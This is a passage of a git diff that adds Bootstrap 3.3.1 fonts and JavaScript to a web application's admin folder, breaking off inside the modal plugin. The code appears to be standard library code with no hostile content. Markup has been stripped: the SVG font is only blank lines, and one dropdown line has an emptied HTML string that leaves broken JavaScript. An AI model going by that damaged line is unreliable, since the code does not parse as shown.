index 0000000..b93a495
Binary files /dev/null and b/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.eot differ
diff --git a/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.svg b/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.svg
new file mode 100644
index 0000000..94fb549
--- /dev/null
+++ b/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.svg
@@ -0,0 +1,288 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.ttf b/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.ttf
new file mode 100644
index 0000000..1413fc6
Binary files /dev/null and b/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.ttf differ
diff --git a/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.woff b/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.woff
new file mode 100644
index 0000000..9e61285
Binary files /dev/null and b/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.woff differ
diff --git a/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.woff2 b/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.woff2
new file mode 100644
index 0000000..64539b5
Binary files /dev/null and b/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.woff2 differ
diff --git a/public/admin/view/javascript/bootstrap/js/bootstrap.js b/public/admin/view/javascript/bootstrap/js/bootstrap.js
new file mode 100644
index 0000000..b6ac8d9
--- /dev/null
+++ b/public/admin/view/javascript/bootstrap/js/bootstrap.js
@@ -0,0 +1,2320 @@
+/*!
+ * Bootstrap v3.3.1 (http://getbootstrap.com)
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ */
+
+if (typeof jQuery === 'undefined') {
+ throw new Error('Bootstrap\'s JavaScript requires jQuery')
+}
+
++function ($) {
+ var version = $.fn.jquery.split(' ')[0].split('.')
+ if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1)) {
+ throw new Error('Bootstrap\'s JavaScript requires jQuery version 1.9.1 or higher')
+ }
+}(jQuery);
+
+/* ========================================================================
+ * Bootstrap: transition.js v3.3.1
+ * http://getbootstrap.com/javascript/#transitions
+ * ========================================================================
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * ======================================================================== */
+
+
++function ($) {
+ 'use strict';
+
+ // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/)
+ // ============================================================
+
+ function transitionEnd() {
+ var el = document.createElement('bootstrap')
+
+ var transEndEventNames = {
+ WebkitTransition : 'webkitTransitionEnd',
+ MozTransition : 'transitionend',
+ OTransition : 'oTransitionEnd otransitionend',
+ transition : 'transitionend'
+ }
+
+ for (var name in transEndEventNames) {
+ if (el.style[name] !== undefined) {
+ return { end: transEndEventNames[name] }
+ }
+ }
+
+ return false // explicit for ie8 ( ._.)
+ }
+
+ // http://blog.alexmaccaw.com/css-transitions
+ $.fn.emulateTransitionEnd = function (duration) {
+ var called = false
+ var $el = this
+ $(this).one('bsTransitionEnd', function () { called = true })
+ var callback = function () { if (!called) $($el).trigger($.support.transition.end) }
+ setTimeout(callback, duration)
+ return this
+ }
+
+ $(function () {
+ $.support.transition = transitionEnd()
+
+ if (!$.support.transition) return
+
+ $.event.special.bsTransitionEnd = {
+ bindType: $.support.transition.end,
+ delegateType: $.support.transition.end,
+ handle: function (e) {
+ if ($(e.target).is(this)) return e.handleObj.handler.apply(this, arguments)
+ }
+ }
+ })
+
+}(jQuery);
+
+/* ========================================================================
+ * Bootstrap: alert.js v3.3.1
+ * http://getbootstrap.com/javascript/#alerts
+ * ========================================================================
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * ======================================================================== */
+
+
++function ($) {
+ 'use strict';
+
+ // ALERT CLASS DEFINITION
+ // ======================
+
+ var dismiss = '[data-dismiss="alert"]'
+ var Alert = function (el) {
+ $(el).on('click', dismiss, this.close)
+ }
+
+ Alert.VERSION = '3.3.1'
+
+ Alert.TRANSITION_DURATION = 150
+
+ Alert.prototype.close = function (e) {
+ var $this = $(this)
+ var selector = $this.attr('data-target')
+
+ if (!selector) {
+ selector = $this.attr('href')
+ selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7
+ }
+
+ var $parent = $(selector)
+
+ if (e) e.preventDefault()
+
+ if (!$parent.length) {
+ $parent = $this.closest('.alert')
+ }
+
+ $parent.trigger(e = $.Event('close.bs.alert'))
+
+ if (e.isDefaultPrevented()) return
+
+ $parent.removeClass('in')
+
+ function removeElement() {
+ // detach from parent, fire event then clean up data
+ $parent.detach().trigger('closed.bs.alert').remove()
+ }
+
+ $.support.transition && $parent.hasClass('fade') ?
+ $parent
+ .one('bsTransitionEnd', removeElement)
+ .emulateTransitionEnd(Alert.TRANSITION_DURATION) :
+ removeElement()
+ }
+
+
+ // ALERT PLUGIN DEFINITION
+ // =======================
+
+ function Plugin(option) {
+ return this.each(function () {
+ var $this = $(this)
+ var data = $this.data('bs.alert')
+
+ if (!data) $this.data('bs.alert', (data = new Alert(this)))
+ if (typeof option == 'string') data[option].call($this)
+ })
+ }
+
+ var old = $.fn.alert
+
+ $.fn.alert = Plugin
+ $.fn.alert.Constructor = Alert
+
+
+ // ALERT NO CONFLICT
+ // =================
+
+ $.fn.alert.noConflict = function () {
+ $.fn.alert = old
+ return this
+ }
+
+
+ // ALERT DATA-API
+ // ==============
+
+ $(document).on('click.bs.alert.data-api', dismiss, Alert.prototype.close)
+
+}(jQuery);
+
+/* ========================================================================
+ * Bootstrap: button.js v3.3.1
+ * http://getbootstrap.com/javascript/#buttons
+ * ========================================================================
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * ======================================================================== */
+
+
++function ($) {
+ 'use strict';
+
+ // BUTTON PUBLIC CLASS DEFINITION
+ // ==============================
+
+ var Button = function (element, options) {
+ this.$element = $(element)
+ this.options = $.extend({}, Button.DEFAULTS, options)
+ this.isLoading = false
+ }
+
+ Button.VERSION = '3.3.1'
+
+ Button.DEFAULTS = {
+ loadingText: 'loading...'
+ }
+
+ Button.prototype.setState = function (state) {
+ var d = 'disabled'
+ var $el = this.$element
+ var val = $el.is('input') ? 'val' : 'html'
+ var data = $el.data()
+
+ state = state + 'Text'
+
+ if (data.resetText == null) $el.data('resetText', $el[val]())
+
+ // push to event loop to allow forms to submit
+ setTimeout($.proxy(function () {
+ $el[val](data[state] == null ? this.options[state] : data[state])
+
+ if (state == 'loadingText') {
+ this.isLoading = true
+ $el.addClass(d).attr(d, d)
+ } else if (this.isLoading) {
+ this.isLoading = false
+ $el.removeClass(d).removeAttr(d)
+ }
+ }, this), 0)
+ }
+
+ Button.prototype.toggle = function () {
+ var changed = true
+ var $parent = this.$element.closest('[data-toggle="buttons"]')
+
+ if ($parent.length) {
+ var $input = this.$element.find('input')
+ if ($input.prop('type') == 'radio') {
+ if ($input.prop('checked') && this.$element.hasClass('active')) changed = false
+ else $parent.find('.active').removeClass('active')
+ }
+ if (changed) $input.prop('checked', !this.$element.hasClass('active')).trigger('change')
+ } else {
+ this.$element.attr('aria-pressed', !this.$element.hasClass('active'))
+ }
+
+ if (changed) this.$element.toggleClass('active')
+ }
+
+
+ // BUTTON PLUGIN DEFINITION
+ // ========================
+
+ function Plugin(option) {
+ return this.each(function () {
+ var $this = $(this)
+ var data = $this.data('bs.button')
+ var options = typeof option == 'object' && option
+
+ if (!data) $this.data('bs.button', (data = new Button(this, options)))
+
+ if (option == 'toggle') data.toggle()
+ else if (option) data.setState(option)
+ })
+ }
+
+ var old = $.fn.button
+
+ $.fn.button = Plugin
+ $.fn.button.Constructor = Button
+
+
+ // BUTTON NO CONFLICT
+ // ==================
+
+ $.fn.button.noConflict = function () {
+ $.fn.button = old
+ return this
+ }
+
+
+ // BUTTON DATA-API
+ // ===============
+
+ $(document)
+ .on('click.bs.button.data-api', '[data-toggle^="button"]', function (e) {
+ var $btn = $(e.target)
+ if (!$btn.hasClass('btn')) $btn = $btn.closest('.btn')
+ Plugin.call($btn, 'toggle')
+ e.preventDefault()
+ })
+ .on('focus.bs.button.data-api blur.bs.button.data-api', '[data-toggle^="button"]', function (e) {
+ $(e.target).closest('.btn').toggleClass('focus', /^focus(in)?$/.test(e.type))
+ })
+
+}(jQuery);
+
+/* ========================================================================
+ * Bootstrap: carousel.js v3.3.1
+ * http://getbootstrap.com/javascript/#carousel
+ * ========================================================================
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * ======================================================================== */
+
+
++function ($) {
+ 'use strict';
+
+ // CAROUSEL CLASS DEFINITION
+ // =========================
+
+ var Carousel = function (element, options) {
+ this.$element = $(element)
+ this.$indicators = this.$element.find('.carousel-indicators')
+ this.options = options
+ this.paused =
+ this.sliding =
+ this.interval =
+ this.$active =
+ this.$items = null
+
+ this.options.keyboard && this.$element.on('keydown.bs.carousel', $.proxy(this.keydown, this))
+
+ this.options.pause == 'hover' && !('ontouchstart' in document.documentElement) && this.$element
+ .on('mouseenter.bs.carousel', $.proxy(this.pause, this))
+ .on('mouseleave.bs.carousel', $.proxy(this.cycle, this))
+ }
+
+ Carousel.VERSION = '3.3.1'
+
+ Carousel.TRANSITION_DURATION = 600
+
+ Carousel.DEFAULTS = {
+ interval: 5000,
+ pause: 'hover',
+ wrap: true,
+ keyboard: true
+ }
+
+ Carousel.prototype.keydown = function (e) {
+ if (/input|textarea/i.test(e.target.tagName)) return
+ switch (e.which) {
+ case 37: this.prev(); break
+ case 39: this.next(); break
+ default: return
+ }
+
+ e.preventDefault()
+ }
+
+ Carousel.prototype.cycle = function (e) {
+ e || (this.paused = false)
+
+ this.interval && clearInterval(this.interval)
+
+ this.options.interval
+ && !this.paused
+ && (this.interval = setInterval($.proxy(this.next, this), this.options.interval))
+
+ return this
+ }
+
+ Carousel.prototype.getItemIndex = function (item) {
+ this.$items = item.parent().children('.item')
+ return this.$items.index(item || this.$active)
+ }
+
+ Carousel.prototype.getItemForDirection = function (direction, active) {
+ var delta = direction == 'prev' ? -1 : 1
+ var activeIndex = this.getItemIndex(active)
+ var itemIndex = (activeIndex + delta) % this.$items.length
+ return this.$items.eq(itemIndex)
+ }
+
+ Carousel.prototype.to = function (pos) {
+ var that = this
+ var activeIndex = this.getItemIndex(this.$active = this.$element.find('.item.active'))
+
+ if (pos > (this.$items.length - 1) || pos < 0) return
+
+ if (this.sliding) return this.$element.one('slid.bs.carousel', function () { that.to(pos) }) // yes, "slid"
+ if (activeIndex == pos) return this.pause().cycle()
+
+ return this.slide(pos > activeIndex ? 'next' : 'prev', this.$items.eq(pos))
+ }
+
+ Carousel.prototype.pause = function (e) {
+ e || (this.paused = true)
+
+ if (this.$element.find('.next, .prev').length && $.support.transition) {
+ this.$element.trigger($.support.transition.end)
+ this.cycle(true)
+ }
+
+ this.interval = clearInterval(this.interval)
+
+ return this
+ }
+
+ Carousel.prototype.next = function () {
+ if (this.sliding) return
+ return this.slide('next')
+ }
+
+ Carousel.prototype.prev = function () {
+ if (this.sliding) return
+ return this.slide('prev')
+ }
+
+ Carousel.prototype.slide = function (type, next) {
+ var $active = this.$element.find('.item.active')
+ var $next = next || this.getItemForDirection(type, $active)
+ var isCycling = this.interval
+ var direction = type == 'next' ? 'left' : 'right'
+ var fallback = type == 'next' ? 'first' : 'last'
+ var that = this
+
+ if (!$next.length) {
+ if (!this.options.wrap) return
+ $next = this.$element.find('.item')[fallback]()
+ }
+
+ if ($next.hasClass('active')) return (this.sliding = false)
+
+ var relatedTarget = $next[0]
+ var slideEvent = $.Event('slide.bs.carousel', {
+ relatedTarget: relatedTarget,
+ direction: direction
+ })
+ this.$element.trigger(slideEvent)
+ if (slideEvent.isDefaultPrevented()) return
+
+ this.sliding = true
+
+ isCycling && this.pause()
+
+ if (this.$indicators.length) {
+ this.$indicators.find('.active').removeClass('active')
+ var $nextIndicator = $(this.$indicators.children()[this.getItemIndex($next)])
+ $nextIndicator && $nextIndicator.addClass('active')
+ }
+
+ var slidEvent = $.Event('slid.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) // yes, "slid"
+ if ($.support.transition && this.$element.hasClass('slide')) {
+ $next.addClass(type)
+ $next[0].offsetWidth // force reflow
+ $active.addClass(direction)
+ $next.addClass(direction)
+ $active
+ .one('bsTransitionEnd', function () {
+ $next.removeClass([type, direction].join(' ')).addClass('active')
+ $active.removeClass(['active', direction].join(' '))
+ that.sliding = false
+ setTimeout(function () {
+ that.$element.trigger(slidEvent)
+ }, 0)
+ })
+ .emulateTransitionEnd(Carousel.TRANSITION_DURATION)
+ } else {
+ $active.removeClass('active')
+ $next.addClass('active')
+ this.sliding = false
+ this.$element.trigger(slidEvent)
+ }
+
+ isCycling && this.cycle()
+
+ return this
+ }
+
+
+ // CAROUSEL PLUGIN DEFINITION
+ // ==========================
+
+ function Plugin(option) {
+ return this.each(function () {
+ var $this = $(this)
+ var data = $this.data('bs.carousel')
+ var options = $.extend({}, Carousel.DEFAULTS, $this.data(), typeof option == 'object' && option)
+ var action = typeof option == 'string' ? option : options.slide
+
+ if (!data) $this.data('bs.carousel', (data = new Carousel(this, options)))
+ if (typeof option == 'number') data.to(option)
+ else if (action) data[action]()
+ else if (options.interval) data.pause().cycle()
+ })
+ }
+
+ var old = $.fn.carousel
+
+ $.fn.carousel = Plugin
+ $.fn.carousel.Constructor = Carousel
+
+
+ // CAROUSEL NO CONFLICT
+ // ====================
+
+ $.fn.carousel.noConflict = function () {
+ $.fn.carousel = old
+ return this
+ }
+
+
+ // CAROUSEL DATA-API
+ // =================
+
+ var clickHandler = function (e) {
+ var href
+ var $this = $(this)
+ var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) // strip for ie7
+ if (!$target.hasClass('carousel')) return
+ var options = $.extend({}, $target.data(), $this.data())
+ var slideIndex = $this.attr('data-slide-to')
+ if (slideIndex) options.interval = false
+
+ Plugin.call($target, options)
+
+ if (slideIndex) {
+ $target.data('bs.carousel').to(slideIndex)
+ }
+
+ e.preventDefault()
+ }
+
+ $(document)
+ .on('click.bs.carousel.data-api', '[data-slide]', clickHandler)
+ .on('click.bs.carousel.data-api', '[data-slide-to]', clickHandler)
+
+ $(window).on('load', function () {
+ $('[data-ride="carousel"]').each(function () {
+ var $carousel = $(this)
+ Plugin.call($carousel, $carousel.data())
+ })
+ })
+
+}(jQuery);
+
+/* ========================================================================
+ * Bootstrap: collapse.js v3.3.1
+ * http://getbootstrap.com/javascript/#collapse
+ * ========================================================================
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * ======================================================================== */
+
+
++function ($) {
+ 'use strict';
+
+ // COLLAPSE PUBLIC CLASS DEFINITION
+ // ================================
+
+ var Collapse = function (element, options) {
+ this.$element = $(element)
+ this.options = $.extend({}, Collapse.DEFAULTS, options)
+ this.$trigger = $(this.options.trigger).filter('[href="#' + element.id + '"], [data-target="#' + element.id + '"]')
+ this.transitioning = null
+
+ if (this.options.parent) {
+ this.$parent = this.getParent()
+ } else {
+ this.addAriaAndCollapsedClass(this.$element, this.$trigger)
+ }
+
+ if (this.options.toggle) this.toggle()
+ }
+
+ Collapse.VERSION = '3.3.1'
+
+ Collapse.TRANSITION_DURATION = 350
+
+ Collapse.DEFAULTS = {
+ toggle: true,
+ trigger: '[data-toggle="collapse"]'
+ }
+
+ Collapse.prototype.dimension = function () {
+ var hasWidth = this.$element.hasClass('width')
+ return hasWidth ? 'width' : 'height'
+ }
+
+ Collapse.prototype.show = function () {
+ if (this.transitioning || this.$element.hasClass('in')) return
+
+ var activesData
+ var actives = this.$parent && this.$parent.find('> .panel').children('.in, .collapsing')
+
+ if (actives && actives.length) {
+ activesData = actives.data('bs.collapse')
+ if (activesData && activesData.transitioning) return
+ }
+
+ var startEvent = $.Event('show.bs.collapse')
+ this.$element.trigger(startEvent)
+ if (startEvent.isDefaultPrevented()) return
+
+ if (actives && actives.length) {
+ Plugin.call(actives, 'hide')
+ activesData || actives.data('bs.collapse', null)
+ }
+
+ var dimension = this.dimension()
+
+ this.$element
+ .removeClass('collapse')
+ .addClass('collapsing')[dimension](0)
+ .attr('aria-expanded', true)
+
+ this.$trigger
+ .removeClass('collapsed')
+ .attr('aria-expanded', true)
+
+ this.transitioning = 1
+
+ var complete = function () {
+ this.$element
+ .removeClass('collapsing')
+ .addClass('collapse in')[dimension]('')
+ this.transitioning = 0
+ this.$element
+ .trigger('shown.bs.collapse')
+ }
+
+ if (!$.support.transition) return complete.call(this)
+
+ var scrollSize = $.camelCase(['scroll', dimension].join('-'))
+
+ this.$element
+ .one('bsTransitionEnd', $.proxy(complete, this))
+ .emulateTransitionEnd(Collapse.TRANSITION_DURATION)[dimension](this.$element[0][scrollSize])
+ }
+
+ Collapse.prototype.hide = function () {
+ if (this.transitioning || !this.$element.hasClass('in')) return
+
+ var startEvent = $.Event('hide.bs.collapse')
+ this.$element.trigger(startEvent)
+ if (startEvent.isDefaultPrevented()) return
+
+ var dimension = this.dimension()
+
+ this.$element[dimension](this.$element[dimension]())[0].offsetHeight
+
+ this.$element
+ .addClass('collapsing')
+ .removeClass('collapse in')
+ .attr('aria-expanded', false)
+
+ this.$trigger
+ .addClass('collapsed')
+ .attr('aria-expanded', false)
+
+ this.transitioning = 1
+
+ var complete = function () {
+ this.transitioning = 0
+ this.$element
+ .removeClass('collapsing')
+ .addClass('collapse')
+ .trigger('hidden.bs.collapse')
+ }
+
+ if (!$.support.transition) return complete.call(this)
+
+ this.$element
+ [dimension](0)
+ .one('bsTransitionEnd', $.proxy(complete, this))
+ .emulateTransitionEnd(Collapse.TRANSITION_DURATION)
+ }
+
+ Collapse.prototype.toggle = function () {
+ this[this.$element.hasClass('in') ? 'hide' : 'show']()
+ }
+
+ Collapse.prototype.getParent = function () {
+ return $(this.options.parent)
+ .find('[data-toggle="collapse"][data-parent="' + this.options.parent + '"]')
+ .each($.proxy(function (i, element) {
+ var $element = $(element)
+ this.addAriaAndCollapsedClass(getTargetFromTrigger($element), $element)
+ }, this))
+ .end()
+ }
+
+ Collapse.prototype.addAriaAndCollapsedClass = function ($element, $trigger) {
+ var isOpen = $element.hasClass('in')
+
+ $element.attr('aria-expanded', isOpen)
+ $trigger
+ .toggleClass('collapsed', !isOpen)
+ .attr('aria-expanded', isOpen)
+ }
+
+ function getTargetFromTrigger($trigger) {
+ var href
+ var target = $trigger.attr('data-target')
+ || (href = $trigger.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '') // strip for ie7
+
+ return $(target)
+ }
+
+
+ // COLLAPSE PLUGIN DEFINITION
+ // ==========================
+
+ function Plugin(option) {
+ return this.each(function () {
+ var $this = $(this)
+ var data = $this.data('bs.collapse')
+ var options = $.extend({}, Collapse.DEFAULTS, $this.data(), typeof option == 'object' && option)
+
+ if (!data && options.toggle && option == 'show') options.toggle = false
+ if (!data) $this.data('bs.collapse', (data = new Collapse(this, options)))
+ if (typeof option == 'string') data[option]()
+ })
+ }
+
+ var old = $.fn.collapse
+
+ $.fn.collapse = Plugin
+ $.fn.collapse.Constructor = Collapse
+
+
+ // COLLAPSE NO CONFLICT
+ // ====================
+
+ $.fn.collapse.noConflict = function () {
+ $.fn.collapse = old
+ return this
+ }
+
+
+ // COLLAPSE DATA-API
+ // =================
+
+ $(document).on('click.bs.collapse.data-api', '[data-toggle="collapse"]', function (e) {
+ var $this = $(this)
+
+ if (!$this.attr('data-target')) e.preventDefault()
+
+ var $target = getTargetFromTrigger($this)
+ var data = $target.data('bs.collapse')
+ var option = data ? 'toggle' : $.extend({}, $this.data(), { trigger: this })
+
+ Plugin.call($target, option)
+ })
+
+}(jQuery);
+
+/* ========================================================================
+ * Bootstrap: dropdown.js v3.3.1
+ * http://getbootstrap.com/javascript/#dropdowns
+ * ========================================================================
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * ======================================================================== */
+
+
++function ($) {
+ 'use strict';
+
+ // DROPDOWN CLASS DEFINITION
+ // =========================
+
+ var backdrop = '.dropdown-backdrop'
+ var toggle = '[data-toggle="dropdown"]'
+ var Dropdown = function (element) {
+ $(element).on('click.bs.dropdown', this.toggle)
+ }
+
+ Dropdown.VERSION = '3.3.1'
+
+ Dropdown.prototype.toggle = function (e) {
+ var $this = $(this)
+
+ if ($this.is('.disabled, :disabled')) return
+
+ var $parent = getParent($this)
+ var isActive = $parent.hasClass('open')
+
+ clearMenus()
+
+ if (!isActive) {
+ if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) {
+ // if mobile we use a backdrop because click events don't delegate
+ $('
').insertAfter($(this)).on('click', clearMenus)
+ }
+
+ var relatedTarget = { relatedTarget: this }
+ $parent.trigger(e = $.Event('show.bs.dropdown', relatedTarget))
+
+ if (e.isDefaultPrevented()) return
+
+ $this
+ .trigger('focus')
+ .attr('aria-expanded', 'true')
+
+ $parent
+ .toggleClass('open')
+ .trigger('shown.bs.dropdown', relatedTarget)
+ }
+
+ return false
+ }
+
+ Dropdown.prototype.keydown = function (e) {
+ if (!/(38|40|27|32)/.test(e.which) || /input|textarea/i.test(e.target.tagName)) return
+
+ var $this = $(this)
+
+ e.preventDefault()
+ e.stopPropagation()
+
+ if ($this.is('.disabled, :disabled')) return
+
+ var $parent = getParent($this)
+ var isActive = $parent.hasClass('open')
+
+ if ((!isActive && e.which != 27) || (isActive && e.which == 27)) {
+ if (e.which == 27) $parent.find(toggle).trigger('focus')
+ return $this.trigger('click')
+ }
+
+ var desc = ' li:not(.divider):visible a'
+ var $items = $parent.find('[role="menu"]' + desc + ', [role="listbox"]' + desc)
+
+ if (!$items.length) return
+
+ var index = $items.index(e.target)
+
+ if (e.which == 38 && index > 0) index-- // up
+ if (e.which == 40 && index < $items.length - 1) index++ // down
+ if (!~index) index = 0
+
+ $items.eq(index).trigger('focus')
+ }
+
+ function clearMenus(e) {
+ if (e && e.which === 3) return
+ $(backdrop).remove()
+ $(toggle).each(function () {
+ var $this = $(this)
+ var $parent = getParent($this)
+ var relatedTarget = { relatedTarget: this }
+
+ if (!$parent.hasClass('open')) return
+
+ $parent.trigger(e = $.Event('hide.bs.dropdown', relatedTarget))
+
+ if (e.isDefaultPrevented()) return
+
+ $this.attr('aria-expanded', 'false')
+ $parent.removeClass('open').trigger('hidden.bs.dropdown', relatedTarget)
+ })
+ }
+
+ function getParent($this) {
+ var selector = $this.attr('data-target')
+
+ if (!selector) {
+ selector = $this.attr('href')
+ selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7
+ }
+
+ var $parent = selector && $(selector)
+
+ return $parent && $parent.length ? $parent : $this.parent()
+ }
+
+
+ // DROPDOWN PLUGIN DEFINITION
+ // ==========================
+
+ function Plugin(option) {
+ return this.each(function () {
+ var $this = $(this)
+ var data = $this.data('bs.dropdown')
+
+ if (!data) $this.data('bs.dropdown', (data = new Dropdown(this)))
+ if (typeof option == 'string') data[option].call($this)
+ })
+ }
+
+ var old = $.fn.dropdown
+
+ $.fn.dropdown = Plugin
+ $.fn.dropdown.Constructor = Dropdown
+
+
+ // DROPDOWN NO CONFLICT
+ // ====================
+
+ $.fn.dropdown.noConflict = function () {
+ $.fn.dropdown = old
+ return this
+ }
+
+
+ // APPLY TO STANDARD DROPDOWN ELEMENTS
+ // ===================================
+
+ $(document)
+ .on('click.bs.dropdown.data-api', clearMenus)
+ .on('click.bs.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation() })
+ .on('click.bs.dropdown.data-api', toggle, Dropdown.prototype.toggle)
+ .on('keydown.bs.dropdown.data-api', toggle, Dropdown.prototype.keydown)
+ .on('keydown.bs.dropdown.data-api', '[role="menu"]', Dropdown.prototype.keydown)
+ .on('keydown.bs.dropdown.data-api', '[role="listbox"]', Dropdown.prototype.keydown)
+
+}(jQuery);
+
+/* ========================================================================
+ * Bootstrap: modal.js v3.3.1
+ * http://getbootstrap.com/javascript/#modals
+ * ========================================================================
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * ======================================================================== */
+
+
++function ($) {
+ 'use strict';
+
+ // MODAL CLASS DEFINITION
+ // ======================
+
+ var Modal = function (element, options) {
+ this.options = options
+ this.$body = $(document.body)
+ this.$element = $(element)
+ this.$backdrop =
+ this.isShown = null
+ this.scrollbarWidth = 0
+
+ if (this.options.remote) {
+ this.$element
+ .find('.modal-content')
+ .load(this.options.remote, $.proxy(function () {
+ this.$element.trigger('loaded.bs.modal')
+ }, this))
+ }
+ }
+
+ Modal.VERSION = '3.3.1'
+
+ Modal.TRANSITION_DURATION = 300
+ Modal.BACKDROP_TRANSITION_DURATION = 150
+
+ Modal.DEFAULTS = {
+ backdrop: true,
+ keyboard: true,
+ show: true
+ }
+
+ Modal.prototype.toggle = function (_relatedTarget) {
+ return this.isShown ? this.hide() : this.show(_relatedTarget)
+ }
+
+ Modal.prototype.show = function (_relatedTarget) {
+ var that = this
+ var e = $.Event('show.bs.modal', { relatedTarget: _relatedTarget })
+
+ this.$element.trigger(e)
+
+ if (this.isShown || e.isDefaultPrevented()) return
+
+ this.isShown = true
+
+ this.checkScrollbar()
+ this.setScrollbar()
+ this.$body.addClass('modal-open')
+
+ this.escape()
+ this.resize()
+
+ this.$element.on('click.dismiss.bs.modal', '[data-dismiss="modal"]', $.proxy(this.hide, this))
+
+ this.backdrop(function () {
+ var transition = $.support.transition && that.$element.hasClass('fade')
+
+ if (!that.$element.parent().length) {
+ that.$element.appendTo(that.$body) // don't move modals dom position
+ }
+
+ that.$element
+ .show()
+ .scrollTop(0)
+
+ if (that.options.backdrop) that.adjustBackdrop()
+ that.adjustDialog()
+
+ if (transition) {
+ that.$element[0].offsetWidth // force reflow
+ }
+
+ that.$element
+ .addClass('in')
+ .attr('aria-hidden', false)
+
+ that.enforceFocus()
+
+ var e = $.Event('shown.bs.modal', { relatedTarget: _relatedTarget })
+
+ transition ?
+ that.$element.find('.modal-dialog') // wait for modal to slide in
+ .one('bsTransitionEnd', function () {
+ that.$element.trigger('focus').trigger(e)
+ })
+ .emulateTransitionEnd(Modal.TRANSITION_DURATION) :
+ that.$element.trigger('focus').trigger(e)
+ })
+ }
+
+ Modal.prototype.hide = function (e) {
+ if (e) e.preventDefault()
+
+ e = $.Event('hide.bs.modal')
+
+ this.$element.trigger(e)
+
+ if (!this.isShown || e.isDefaultPrevented()) return
+
+ this.isShown = false
+
+ this.escape()
+ this.resize()
+
+ $(document).off('focusin.bs.modal')
+
+ this.$element
+ .removeClass('in')
+ .attr('aria-hidden', true)
+ .off('click.dismiss.bs.modal')
+
+ $.support.transition && this.$element.hasClass('fade') ?
+ this.$element
+ .one('bsTransitionEnd', $.proxy(this.hideModal, this))
+ .emulateTransitionEnd(Modal.TRANSITION_DURATION) :
+ this.hideModal()
+ }
+
+ Modal.prototype.enforceFocus = function () {
+ $(document)
+ .off('focusin.bs.modal') // guard against infinite focus loop
+ .on('focusin.bs.modal', $.proxy(function (e) {
+ if (this.$element[0] !== e.target && !this.$element.has(e.target).length) {
+ this.$element.trigger('focus')
+ }
+ }, this))
+ }
+
+ Modal.prototype.escape = function () {
+ if (this.isShown && this.options.keyboard) {
+ this.$element.on('keydown.dismiss.bs.modal', $.proxy(function (e) {
+ e.which == 27 && this.hide()
+ }, this))
+ } else if (!this.isShown) {
+ this.$element.off('keydown.dismiss.bs.modal')
+ }
+ }
+
+ Modal.prototype.resize = function () {
+ if (this.isShown) {
+ $(window).on('resize.bs.modal', $.proxy(this.handleUpdate, this))
+ } else {
+ $(window).off('resize.bs.modal')
+ }
+ }
+
+ Modal.prototype.hideModal = function () {
+ var that = this
+ this.$element.hide()
+ this.backdrop(function () {
+ that.$body.removeClass('modal-open')
+ that.resetAdjustments()
+ that.resetScrollbar()
+ that.$element.trigger('hidden.bs.modal')
+ })
+ }
+
+ Modal.prototype.removeBackdrop = function () {
+ this.$backdrop && this.$backdrop.remove()
+ this.$backdrop = null
+ }
+
